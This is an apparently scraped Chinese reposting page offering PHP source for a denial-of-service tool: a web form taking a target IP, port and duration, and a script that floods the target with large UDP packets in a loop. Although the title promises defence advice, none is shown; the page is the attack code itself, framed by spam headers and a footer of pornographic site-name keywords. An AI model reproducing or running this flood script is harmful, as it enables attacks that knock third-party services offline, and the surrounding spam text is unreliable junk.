天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

php DOS攻擊實現代碼(附如何防范)

index.php
復制代碼 代碼如下:
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="author" content="">
<title>php DoS, Coded by EXE</title>
</head>
<!-- php DOS, coded by EXE -->
<style type="text/css">
<!--
body {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #FFFFFF;
background-color: #000000;
}
-->
</style>
<!-- php DOS, coded by EXE -->
<body>
<center><br><br>
<img src="main.jpg"><br>
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br>
<form name="input" action="function.php" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
    Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
    Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">
<br><br>
<input type="submit" value=" Start the Attack---> ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<!-- php DOS, coded by EXE -->
</body>
</html>

function.php
復制代碼 代碼如下:
<?php
//=================================================
//php DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s /n";
?>

php技術php DOS攻擊實現代碼(附如何防范),轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 免费看大黄高清网站视频在线 | 成人精品视频在线观看播放 | 天天靠天天擦天天摸 | 中文在线观看永久免费 | 亚洲免费观看视频 | 伊在香蕉国产在线视频 | 午夜免费福利 | 2019久久视频这里有精品15 | 蜜桃色欲AV久久无码精品 | 日本人吃奶玩奶虐乳 | 99久久精品互换人妻AV | 同居了嫂子在线观看 | 驯服有夫之妇HD中字日本 | 好男人午夜www视频在线观看 | 麻豆国产原创中文AV网站 | 仓井空torrent | 中国人泡妞xxxxxxxx19 | 亚洲一区自拍高清亚洲精品 | 暖暖 免费 日本 高清 在线1 | 饥渴的40岁熟妇完整版在线 | 免费无码又爽又黄又刺激网站 | yellow日本动漫免费观看 | 亚洲午夜久久久久中文字幕 | 泰国淫乐园实录 | 亚洲三级视频在线观看 | 18动漫在线观看 | 成电影人免费网站 | 国产传媒在线播放 | 999精品国产人妻无码系列 | 亚洲国产在线观看免费视频 | 精品国产麻豆免费人成网站 | 久久精品免视看国产 | 亚洲电影成人 成人影院 | 97视频在线观看视频最新 | 亚洲最大日夜无码中文字幕 | 第一次破女视频出血视频 | 最新毛片网 | 古风一女N男到处做高H | 肉多荤文高h羞耻校园 | 清晨紧湿爱运动h高h | 天美传媒在线观看免费完整版 |